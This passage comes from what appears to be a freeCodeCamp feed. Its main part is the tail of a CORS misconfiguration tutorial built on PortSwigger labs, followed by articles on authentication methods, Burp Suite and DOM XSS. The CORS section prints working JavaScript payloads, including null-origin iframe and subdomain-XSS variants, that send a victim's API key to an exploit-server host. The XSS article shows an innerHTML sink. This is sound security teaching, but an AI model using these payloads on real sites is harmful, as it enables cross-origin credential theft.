  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span></span>
</code></pre><p>Once the user visits your hosted page, it will automatically submit a CORS request to retrieve information about the user from the location specified in the script. Understanding the application structure and where it stores its sensitive information is essential for this step.</p>
<p>The above script starts with initializing the <code>**XMLHttpRequest**</code> (XHR) object to instruct the web browser that we will transfer data to and from a web server using the HTTP protocol. XHR is a browser API that allows client-side scripting languages such as JavaScript to make HTTP requests to a server and receive their responses dynamically without requiring the user to refresh the page.</p>
<p>Then, we instruct the object to execute a function called <strong><code>retrieveKeys</code></strong> that fetches the admin API key and sends the response to us when it loads.</p>
<p>Next, we make a GET request specifying the location from which we want to retrieve information and pass our credentials with the <code>Credentials</code> function set to true.</p>
<p>The request will automatically get blocked and denied if the application server doesn’t allow passing credentials between domains. But we know that this won’t happen here because the <code>**access-Control-Allow-Credentials**</code> is set to true.</p>
<p>To demonstrate how the script works, I’ll use the exploit server PortSwigger has available with the lab to host the above script.</p>
<p>Login into the application, click the <strong>“Go to exploit server,”</strong> and paste the script in the body. Then click on “<strong>Deliver exploit to victim.”</strong> In a real scenario, you need to send the link to the user and try to entice them to click it.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1505/1*hIfdCKiIogCOquzGVz686w.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1888/1*svwpXxlVZpxpqiRQV8u_hg.png" alt="Image" width="600" height="400" loading="lazy">
<em>Figures 7 &amp; 8 — show the process of hosting the JS payload and delivering it to the user.</em></p>
<p>After delivering the exploit, click on <strong>“Access log”</strong> and you should be able to see the captured admin’s API key in the logs. Copy the string that has the key and paste into Burp Suite <strong>Decoder</strong> and decode it as a URL to retrieve the cleartext value.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2584/1*2zq3p_IKD032TRHZdZPURA.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1787/1*5NNTx2nk9eLKT1fATokzCw.png" alt="Image" width="600" height="400" loading="lazy">
<em>Figures 9 &amp; 10 — show the admin API key in the logs and the plain text key value on Decoder.</em></p>
<h3 id="heading-case-2-null-origin">Case 2: Null Origin</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to the null value and enables passing credentials with the <strong><code>Access-Control-Allow-Credentials</code></strong> set to <strong>true.</strong></p>
<pre><code>Access-Control-Allow-Origin: <span class="hljs-literal">null</span>
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="600" height="400" loading="lazy">
<em>Figure 11 — shows the application server accepts null origins.</em></p>
<p>The exploitation requires us to host the JS script file to be accessible to the targeted user (<em>same as in case #1</em>). Again, we will use the same script – just this time, we will add an iframe sandbox to retrieve the API key. The sandbox property sets the frame’s origin to null so that we can set the Origin header to the null value.</p>
<pre><code>&lt;html&gt;
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">iframe</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"display: none;"</span> <span class="hljs-attr">sandbox</span>=<span class="hljs-string">"allow-scripts"</span> <span class="hljs-attr">srcdoc</span>=<span class="hljs-string">"
        &lt;script&gt;
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        &lt;/script&gt;"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">iframe</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span></span>
&lt;/html&gt;
</code></pre><p>When the authenticated user clicks on our link <code>[**http://192.168.1.14:5555/cors_null_poc.html**](http://192.168.1.14:5555/cors_null_poc.html.)</code>, we will get the API key from the account details. But since our user is not an admin, we won’t be able to retrieve the admin API key.</p>
<p>The point of showing the below steps is that during a web application testing assessment, as a tester, you would be given admin and regular user accounts to test with them. In those cases, you follow the below steps to show your proof of concept through hosting the file locally. Or, of course, you can host the file externally as an alternative option.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2412/1*a4Qtndhg7lDtOUriDT6CWA.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1916/1*MgEzSTxHOyF2oZQ1yNftnQ.png" alt="Image" width="600" height="400" loading="lazy">
_Figures 12 &amp; 13 — show null value is added to the request header, and the user accessed the cors_null<em>poc page.</em></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*ppYb-xcA4Fx-Doh3vw62HQ.png" alt="Figure 14 — shows the user’s account details when clicking the link. https://medium.com/r3d-buck3t #cors #web #pentesting" width="600" height="400" loading="lazy">
<em>Figure 14 — shows the user’s account details when clicking the link.</em></p>
<h3 id="heading-case-3-trusted-subdomains">Case 3: Trusted Subdomains</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to any of its subdomains and allows credentials with <strong>Access-Control-Allow-Credentials</strong> set to <strong>true.</strong></p>
<p>The exploitation of this case is dependent on whether the existing subdomain is vulnerable to XSS vulnerability to enable the attacker to abuse the misconfiguration.</p>
<pre><code>Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*a-Fvk06eJoyL-9W9Oo5lvQ.png" alt="Figure 15 — shows the domain accepts its subdomains’ origins. https://medium.com/r3d-buck3t #cors #web #pentesting #hacking" width="600" height="400" loading="lazy">
<em>Figure 15 — shows the domain accepts its subdomains’ origins.</em></p>
<p>If you encounter this scenario, you need to check all the existent subdomains and try to find one with an XSS vulnerability to exploit it.</p>
<p>In the Port Swigger lab #3, the application trusts its subdomain — <strong>stock</strong> — that is vulnerable to XSS vulnerability in the <code>**ProductId=**</code> parameter.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2082/1*HBCf3Iwa82ZAB0Frlll_pA.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:2023/1*vqSoc_DI8kjbJTx-aF2DBg.png" alt="Image" width="600" height="400" loading="lazy">
<em>Figures 16 &amp; 17 — show the stocks subdomain vulnerable to XSS in the ProductId parameter.</em></p>
<p>We will use the same script to exploit this case, except we will add the location where we inject the payload using the <code>**document.location**</code> function. Then we format the payload to be a one-liner payload so that we can pass it in the parameter.</p>
<pre><code>&lt;script&gt;
    <span class="hljs-built_in">document</span>.location=<span class="hljs-string">"http://subdomain.domain.com/?productId=&lt;script&gt;
    &lt;script&gt;
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "</span>APPLICATION URL/accountDetails<span class="hljs-string">",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  &lt;/script&gt; 
      &lt;/script&gt;</span>
</code></pre><p>After that, we save the script as <code>**cors_poc.html**</code><strong>,</strong> host it on our server, and send the link to the user.</p>
<pre><code>&lt;html&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-built_in">document</span>.location=<span class="hljs-string">"http://Insecure-subdomain/?productId=&lt;script&gt;var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script&gt;&amp;storeId=1"</span>
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span></span>
&lt;/html&gt;
</code></pre><p>As you can see below in the screenshots, when the user accessed the link, the script injected the payload in the <code>**productId**</code> parameter and retrieved the API key.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2454/1*bQu-QJBOmrH_DynC_VNbeg.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:2531/1*-j8W-uY7yk-UmYol1cBzqg.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1957/1*NiWGBfvbWHT8Y47BuVrJ0w.png" alt="Image" width="600" height="400" loading="lazy">
<em>Figures 18, 19 &amp; 20 — show injecting the XSS payload and capturing the APi key in action.</em></p>
<h2 id="heading-unexploitable-case-wild-card">Unexploitable Case: Wild Card (*)</h2>
<p>The application is NOT vulnerable when the <strong>Access-Control-Allow-Origin</strong> is set to wildcard <code>*****</code> , even if the <strong>Access-Control-Allow-Credentials</strong> header is set to true. </p>
<p>This is because there is a safety check in place that disables the Allow-Credentials header when the origin is set to a wildcard.</p>
<h2 id="heading-mitigations">Mitigations</h2>
<ul>
<li>Implement proper CORS headers: The server can add appropriate CORS headers to allow cross-origin requests from only trusted sites.</li>
<li>Restrict access to sensitive data: It is important to restrict access to sensitive data to only trusted domains. This can be done by implementing access control measures such as authentication and authorization.</li>
</ul>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>In this tutorial, we have covered the basics of CORS as a security feature that prevents web pages from making unauthorized requests to different domains. </p>
<p>We also covered the standard CORS testing techniques for detecting and exploiting CORS misconfigurations with tools like Burp Suites and Chrome DevTools.</p>
<p>By implementing and testing CORS correctly, web developers can ensure their web applications are secure and avoid misconfigurations that let attackers access unauthorized resources and compromise the application's security.</p>
<h3 id="heading-resources">Resources</h3>
<ul>
<li><a target="_blank" href="https://ranakhalil.teachable.com/p/web-security-academy-video-series">https://ranakhalil.teachable.com/p/web-security-academy-video-series</a></li>
<li><a target="_blank" href="https://www.trustedsec.com/blog/cors-findings/">https://www.trustedsec.com/blog/cors-findings/</a></li>
<li><a target="_blank" href="https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations">https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations</a></li>
<li><a target="_blank" href="https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/">https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/</a></li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Secure User Authentication Methods – 2FA, Biometric, and Passwordless Login Explained ]]>
                </title>
                <description>
                    <![CDATA[ In today's digital world, user authentication is essential in ensuring secure access to online accounts and resources.  With the rise of cyber-threats, companies need to ensure that their users are authenticated before accessing any sensitive informa... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/user-authentication-methods-explained/</link>
                <guid isPermaLink="false">66b8dc06d3be22cd680b3b84</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ authentication ]]>
                    </category>
                
                    <category>
                        <![CDATA[ biometric authentication ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Two-factor authentication ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Hillary Nyakundi ]]>
                </dc:creator>
                <pubDate>Tue, 17 Jan 2023 18:05:56 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/01/OOP.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In today's digital world, user authentication is essential in ensuring secure access to online accounts and resources. </p>
<p>With the rise of cyber-threats, companies need to ensure that their users are authenticated before accessing any sensitive information. This helps protect the online safety of both parties.</p>
<p>In the past, the most common authentication method that we're all likely familiar with was using a username and password to sign in to apps and services. </p>
<p>And if you're a programmer, you've likely developed projects where you have implemented this method as a form of authentication.</p>
<p>But hey! Guess what? Things have changed over the past couple of years. With advancements in technology, this means security has to be taken more seriously and we need more strict authentication approaches.</p>
<p>And that's what we'll learn about in this tutorial.</p>
<h2 id="heading-different-authentication-methods">Different Authentication Methods</h2>
<p>There are many different methods of authenticating users, and each has its own advantages and disadvantages. The most common methods of user authentication are:</p>
<ul>
<li>username and password,</li>
<li>two-factor authentication,</li>
<li>biometrics</li>
</ul>
<p>just to list a few.</p>
<p>But as time passes, we continue to evolve and new methods are introduced that provide a safer way to store user data. Some examples of these methods include:</p>
<ul>
<li>Passwordless login</li>
<li>Multi-factor authentication, and</li>
<li>Token-based authentication</li>
</ul>
<p>In this article, we will explore the most common methods of user authentication. By understanding the different options available, you can choose the best method for your needs. </p>
<p>But first, let's understand what we mean by authentication.</p>
<h2 id="heading-what-is-user-authentication">What is User Authentication?</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/01/e79vtruyjlui8cz8j8r6-1.png" alt="e79vtruyjlui8cz8j8r6-1" width="600" height="400" loading="lazy"></p>
<p>To better understand what authentication is all about, we can relate it to a real world example. </p>
<p>Let's take a scenario where you are out at the store shopping and you need to make a payment with your credit card. You go through the steps of swiping your card to authenticate the payment, but what really happens before the transaction is complete?</p>
<p>After swiping your card, the machine will read the card info and send it to the issuer for verification. The issuer will then check for a couple of things in order to verify the transaction. </p>
<p>In this case, the issuer will check the card info against what is on record, like expiry date, card number, and account balance. If everything matches what is on record and there are sufficient funds, an authorization message is sent and the transaction is allowed. </p>
<p>In a case where the info doesn't match and/or there are not enough funds, a decline message is instead sent and the transaction is declined.</p>
<p>Now with this understanding, authentication is the process of verifying the identity of a user. User authentication verifies the identity of a user before granting access to sensitive information or systems. </p>
<h3 id="heading-what-are-some-common-authentication-methods">What are some common authentication methods?</h3>
<p>There are many ways to authenticate a user, and each platform has different methods that they use. But as I mentioned above, some common methods include username and password, fingerprint, facial recognition, and iris scan.</p>
<h4 id="heading-usernamepassword-authentication">Username/password authentication</h4>
<p>Username and password are the most common form of authentication. This is where a user enters their username and password into a login form, and if the credentials match what is stored in the database, the user is granted access. </p>
<p>But keep in mind that this method can be insecure if passwords are not properly encrypted or if users reuse the same password for multiple accounts.</p>
<h4 id="heading-biometric-authentication-methods">Biometric authentication methods</h4>
<p>Fingerprint authentication uses an individual's unique fingerprint to verify their identity. This can be done using a fingerprint scanner or by using a smartphone's built-in sensor. </p>
<p>This method is most commonly used in smart phones and recently there has been an increase in the use of this method in laptops, too.</p>
<p>Facial recognition works in a similar way, using an image of the user's face to verify their identity. Iris scanning is another biometric authentication method that uses an image of the user's iris to identify them.</p>
<h2 id="heading-more-secure-authentication-methods">More Secure Authentication Methods</h2>
<p>Even though these have historically been the most common methods, recently we have seen a rise in other methods which are said to be more secure. </p>
<p>In fact, many organizations are turning to these techniques in addition to the user providing a username and password. This is considered an extra layer of security.</p>
<p>These newer techniques include: </p>
<h3 id="heading-1-two-factor-authentication">1. Two-Factor Authentication</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/01/hktn8ib7inl9whmybqp2.jpg" alt="Two-Factor Authentication" width="600" height="400" loading="lazy"></p>
<p>Two-factor authentication, also known as 2FA, is an additional layer of security that can be used to protect your account. </p>
<p>2FA is a way of verifying a user from two different approaches, thats is: using something the user already knows (like their username and password), and using something the user has, like a phone.</p>
<p>When 2FA is enabled, apart from entering the username and password correctly, you will be prompted for the second piece of information (usually a code generated by an app on your phone or a code sent via SMS). This makes it much more difficult for someone to gain access to your account, even if they have your password.</p>
<p>2FA is not foolproof, but it is more secure compared to using only username and password. This makes it a valuable tool to help keep your account safe. If you are concerned about the security of your account, enabling 2FA will be of great help.</p>
<h3 id="heading-2-passwordless-login">2. Passwordless Login</h3>
<p>Passwordless login, just as the name suggests, is a method of logging into an account without needing a username or a password. There are many reasons why you might want to stop using a password and opt for a passwordless login experience.</p>
<p>For one, it's more convenient for users. They don't have to remember yet another username and password combination. And two, it's more secure. There are no weak passwords to be guessed or brute-forced by attackers.</p>
<p>So how do you set up a passwordless login? There are a few different methods you can use, each with its own set of pros and cons.</p>
<h4 id="heading-different-methods-of-passwordless-login">Different methods of passwordless login</h4>
<p>One popular method is to use an email link. When the user wants to log in, they provide their email address. They then receive an email with a link that expires after a certain amount of time. When they click the link, they're logged in without having to enter a password.</p>
<p>Another option is to use a one-time code generated by an app on the user's phone. The code is valid for only a short period of time, so even if someone were to intercept it, they wouldn't be able to use it.</p>
<p>Which method is best for you depends on your security needs and preferences. But whatever you choose, ditching the password is sure to make life easier for your users - and make your site more secure in the process.</p>
<p>For a practical guide on how to use the passwordless method, <a target="_blank" href="https://youtu.be/0OYA1c3bjgM">Auth0</a> has a step-by-step video guide on how to implement this.</p>
<h3 id="heading-3-multi-factor-authentication">3. Multi-factor Authentication</h3>
<p>Also known as MFA, multi-factor authentication is an authentication method that requires a user to verify their identity by providing more than one piece of information that identifies them. This can range from something the user knows, has, or is.</p>
<p>This means that in addition to having a username and password, you will be required to provide extra proof depending on the system you are trying to access. This extra proof can range from a fingerprint to a secret security key or even a code generated randomly.</p>
<p>A good example of this authentication is when you set up an online banking system. Despite having entered a correct username and password, your might be required to either provide your fingerprint or even a code in order for some transaction to happen. </p>
<p>This means that even if someone was to obtain your username and password, they would still need your fingerprint or a code that has been sent to your phone in order to accomplish a specific task.</p>
<h3 id="heading-4-token-based-authentication">4. Token-Based Authentication</h3>
<p>Token-based authentication is a method of authenticating users that involves providing them with a unique token. This token can be used to identify the user and provide access to certain resources. The toke usually contains a string of characters generated by the system that's sent to the user's device or email.</p>
<p>There are many benefits to using token-based authentication, including improved security and scalability. </p>
<p>Tokens, while costly and inconvenient at times, provide a greater level of security than passwords or biometrics since they are only issued when requested. In addition to this, they can also be set to expire after a certain period of time, making it more secure compared to the traditional approaches.</p>
<p>This method is relatively new and it has become more popular in recent years as web applications have become more complex and distributed across multiple servers. It offers several other advantages over other methods.</p>
<p>With token-based authentication, the token is stored on the client side, making it much more secure. In addition, since there's no need to store tokens on the server, scaling becomes much easier.</p>
<p>Overall, token-based authentication offers better security and performance than other methods. If you're looking to implement an auth system for your web application, consider using tokens.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>User authentication is a critical part of any application, whether it's mobile or web. </p>
<p>It is important to choose an authentication method that is both secure and easy to use. </p>
<p>There are many different factors to consider when choosing an authentication method, but the most important thing is to choose one that will protect your users' data. Hopefully this article has given you some insights into how to do that.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Use Burp Suite to Audit Web Applications – Pentesting and Bug Bounty Tool Overview ]]>
                </title>
                <description>
                    <![CDATA[ What is Burp Suite? Burp Suite is a powerful and widely-used web application testing platform. It helps security engineers identify potential risks in web applications. Burp Suite is also widely used by bug-bounty hunters. Since Burp Suite is a fully... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-audit-web-apps-with-burpsuite/</link>
                <guid isPermaLink="false">66d035d32b211a17e00e36dd</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 17 Jan 2023 14:00:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/01/burpsuite-article-image.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <h2 id="heading-what-is-burp-suite">What is Burp Suite?</h2>
<p>Burp Suite is a powerful and widely-used web application testing platform. It helps security engineers identify potential risks in web applications.</p>
<p>Burp Suite is also widely used by bug-bounty hunters. Since Burp Suite is a fully featured web-auditing platform, it comes with many tools to help you discover bugs in web applications. You can also use third-party modules to further improve Burp Suite's capabilities.</p>
<p>Burp Suite is an essential tool for any security testing team. In this article, we’ll take a closer look at the main components of Burp Suite, including the proxy, the intruder, and the repeater.</p>
<h2 id="heading-burp-proxy"><strong>Burp Proxy</strong></h2>
<p>One of the key components of Burp Suite is the Burp Proxy. This tool allows you to intercept and inspect traffic between your browser and the target. </p>
<p>By intercepting this traffic, you can understand exactly what data is being sent and received. This is useful for identifying potential vulnerabilities or misconfigurations in the application.</p>
<p>The proxy is particularly useful for identifying issues such as cross-site scripting (XSS) and SQL injection. </p>
<p>XSS is a type of security vulnerability that allows an attacker to inject malicious code into a web page. SQL injection allows an attacker to inject malicious SQL code into a web application. </p>
<p>By identifying these types of issues, you can take steps to mitigate them and improve the security of your application.</p>
<p>Also, Burp proxy allows us to forward requests to other Burp tools before sending them to the target. This allows us to further analyze the traffic and inspect individual requests and responses. This can be useful for identifying patterns or anomalies that might indicate a vulnerability.</p>
<h2 id="heading-burp-repeater"><strong>Burp Repeater</strong></h2>
<p>Another key component of Burp Suite is the Burp Repeater. The Repeater is a powerful tool that allows you to test the application by sending custom requests and analyzing the responses.</p>
<p>One of the key benefits of the Repeater is its ability to identify vulnerabilities that might not be visible during automated scans. Automated scans are useful for identifying a wide range of common vulnerabilities, but they may not be able to detect all the issues.</p>
<p>The Repeater gives us greater control over the testing process. It allows us to fine-tune our tests to identify specific vulnerabilities. For example, we will be able to identify a vulnerability by sending a request with a specific input.</p>
<p>By analyzing the response, we may find that the application is behaving in unexpected ways. This will indicate the possibility of a vulnerability. This vulnerability might not be detected using an automated scan, but it could potentially be exploited by an attacker.</p>
<p>The Repeater can also test the application’s resilience to specific types of attacks. For example, you can use the Repeater to send a series of requests to test the application’s ability to handle SQL injection or cross-site scripting (XSS) attacks. </p>
<p>By understanding the application’s behavior in these scenarios, you can take steps to improve its security.</p>
<h2 id="heading-burp-intruder"><strong>Burp Intruder</strong></h2>
<p>One of the most powerful tools in Burp Suite is the Burp Intruder. This tool allows you to launch automated attacks on web applications to test their security.</p>
<p>With the Burp Intruder, you can test for a wide range of vulnerabilities. This includes SQL injection, cross-site scripting (XSS), and directory traversal. The intruder is highly flexible, allowing us to customize our attacks.</p>
<p>We can also use the intruder to perform specific audits such as brute-forcing, dictionary attacks, and fuzzing. The Intruder also lets us target specific areas of the application by selecting custom parameters.</p>
<p>Given the damage Intruder can cause if used carelessly, Burp Suite has implemented rate-limiting in the community edition. This means that you can only use the Intruder for a certain number of requests, such as brute-forcing a login form, in the free version of the tool.</p>
<p>If you’re planning to use Burp Suite to audit your business applications, consider purchasing a commercial license. This will give you access to all the features of Burp Suite without any rate limits.</p>
<h2 id="heading-other-burp-tools"><strong>Other Burp Tools</strong></h2>
<p>Burp Suite also comes with many additional tools. These include the spider, scanner, decoder, sequencer, and comparer.</p>
<p>These tools serve as utilities in general web application audits. For example, the spider can help discover and map the content and structure of a web application. We can use the scanner to perform automated vulnerability scans.</p>
<p>The decoder helps to decode and analyze encoded data, while the sequencer enables us to test the randomness of tokens and session IDs. The comparer compares the behavior of different requests and responses. </p>
<p>In addition to these, there are also many third-party modules available in Burp Suite. These modules further extend the capabilities of Burp Suite to help us test our web applications.</p>
<h2 id="heading-summary"><strong>Summary</strong></h2>
<p>In conclusion, Burp Suite is a powerful set of tools for web application auditing. It includes a range of tools and features for testing the security of web applications. </p>
<p>The proxy, the intruder, and the repeater are some of the main components of Burp Suite, each one with a specific function for identifying and assessing security risks.</p>
<p>With the help of these tools, security professionals and testers can identify and mitigate risks in web applications. With all-around web auditing features, it is also an essential tool for bug-bounty hunters.</p>
<p>Hope you enjoyed this article. You can find more about my articles and videos on <a target="_blank" href="https://www.manishmshiva.com/">my website</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is XSS? How to Protect Your Website from DOM Cross-Site Scripting Attacks ]]>
                </title>
                <description>
                    <![CDATA[ By Andrej Kovacevic Website security issues and vulnerabilities are a global problem as cyber security vulnerabilities are increasing. We have seen a major rise in the average number of these cases in the past few years, and 2021 saw an all-time high... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-protect-against-dom-xss-attacks/</link>
                <guid isPermaLink="false">66d45da34a7504b7409c3332</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ DOM ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Tue, 03 Jan 2023 19:51:56 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/09/xss-code-case.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Andrej Kovacevic</p>
<p><strong>Website security issues</strong> and vulnerabilities are a global problem as cyber security vulnerabilities are increasing. We have seen a major rise in the average number of these cases in the past few years, and 2021 saw an all-time high.</p>
<p>So in this tutorial, we are going to talk about DOM XSS cross-site scripting security issues and what impact they can have on your data. Make sure you read till the end. Let's begin by brushing up on some basics about DOM XSS cross-site script security.</p>
<h2 id="heading-what-is-cross-site-scripting">What is Cross-Site Scripting?</h2>
<p>Cross-site scripting, also called XSS, is a <a target="_blank" href="https://www.wix.com/blog/2022/01/website-security/">website security issue</a> that compromises user information and data when those people use a vulnerable application. The attacker can use this to circumvent the origin policy, which separates two websites from one another.</p>
<p>Attackers may use XSS to pretend to be a user, perform actions that a user would, and gain access to the user’s information. This can also allow the attackers to gain full access to the user’s information if they have permissions and privileges. It can also take over the complete actions and performance of the website if this continues.</p>
<p>To help you better understand these types of attacks, we are going to discuss some fundamentals of how XSS operates and what it does.</p>
<h2 id="heading-how-does-xss-work">How Does XSS Work?</h2>
<p>Cross-site scripting uses technology to manipulate a vulnerable site so that it sends dangerous JavaScript to users. This allows the attacker to gain complete access to the site when the script gains access to the user’s system. But the user needs to execute the JavaScript for this first.</p>
<h3 id="heading-types-of-xss-attacks">Types of XSS Attacks</h3>
<h4 id="heading-reflected-xss">Reflected XSS:</h4>
<p>This malicious script comes from the HTTP request. This is the most basic type of XSS attack, where an application could receive malicious data and reflect it immediately towards the user. </p>
<p>The attacker’s payload must be part of the request sent to a server, which is then reflected and executed onto the user’s application. </p>
<p>One example of this would be an attacker convincing someone to click on a phishing link before it takes effect.</p>
<h4 id="heading-stored-xss">Stored XSS:</h4>
<p>This malicious script comes from the database of the website. The attacker inputs the malicious request onto the server where it could stay permanently unless manually addressed. </p>
<p>For example, the attacker could input a malicious script into a comment field, which would be on display for everyone who visits the page. Even without directly engaging with the script, page visitors could fall victim to this attack.</p>
<h4 id="heading-dom-based-xss">DOM-based XSS:</h4>
<p>This more advanced vulnerability exists in client code and not on the server code. DOM-based XSS is neither reflected nor stored onto the server, but exists in a page’s Document Object Model (DOM). The web application reads the malicious code and executes it in the browser as part of the DOM, which is more difficult to detect as it doesn’t come through the server.</p>
<p>The <strong>security vulnerabilities</strong> involved in DOM XSS attacks are a serious concern for most websites. We are going to talk about some of the most common risks that you have on open source web building platforms such as WordPress with regard to DOM - XSS hacks.</p>
<p>This allows the attacker to execute malicious JavaScript code in the victim's browser, potentially allowing the attacker to steal sensitive information or perform other harmful actions on the victim's behalf.</p>
<p>Here is an example of a DOM-based XSS attack:</p>
<pre><code class="lang-javascript">&lt;script&gt;
 <span class="hljs-comment">// This function is intended to take a user supplied URL and display it on the page</span>
 <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">displayURL</span>(<span class="hljs-params">url</span>) </span>{
  <span class="hljs-comment">// The URL is passed through innerHTML, which can execute JavaScript code</span>
  <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"display"</span>).innerHTML = url;
 }
&lt;/script&gt;

&lt;!-- User supplied input is passed to the displayURL <span class="hljs-function"><span class="hljs-keyword">function</span> --&gt;
&lt;<span class="hljs-title">p</span>&gt;<span class="hljs-title">Enter</span> <span class="hljs-title">a</span> <span class="hljs-title">URL</span> <span class="hljs-title">to</span> <span class="hljs-title">display</span>: &lt;<span class="hljs-title">input</span> <span class="hljs-title">type</span>="<span class="hljs-title">text</span>" <span class="hljs-title">id</span>="<span class="hljs-title">user</span>-<span class="hljs-title">input</span>" /&gt;&lt;/<span class="hljs-title">p</span>&gt;
&lt;<span class="hljs-title">button</span> <span class="hljs-title">onclick</span>="<span class="hljs-title">displayURL</span>(<span class="hljs-params">document.getElementById(<span class="hljs-string">'user-input'</span>).value</span>)"&gt;
 <span class="hljs-title">Display</span> <span class="hljs-title">URL</span>
&lt;/<span class="hljs-title">button</span>&gt;

&lt;!-- <span class="hljs-title">The</span> <span class="hljs-title">URL</span> <span class="hljs-title">is</span> <span class="hljs-title">displayed</span> <span class="hljs-title">in</span> <span class="hljs-title">this</span> <span class="hljs-title">div</span> --&gt;
&lt;<span class="hljs-title">div</span> <span class="hljs-title">id</span>="<span class="hljs-title">display</span>"&gt;&lt;/<span class="hljs-title">div</span>&gt;</span>
</code></pre>
<p>Remember that this tutorial is purely for educational purposes, to help you recognize and defend against XSS. You shouldn't use this information to perform any of these sorts of attacks.</p>
<h2 id="heading-dom-xss-wordpress-vulnerabilities">DOM XSS – WordPress Vulnerabilities</h2>
<p>The main target of DOM XSS attacks on WordPress is its users. Users enter their details, accounts, and site credentials to access their WordPress sites and this is what the DOM XSS attacks aim to compromise online. The attackers can use DOM XSS to get access to user information and details with a single click.</p>
<p>This also includes your cookies, information, and others, making it one of the most common <strong>WordPress security vulnerabilities.</strong></p>
<p>Following are some of the top WordPress website security issues you should bear in mind to ensure better cross-site script security.</p>
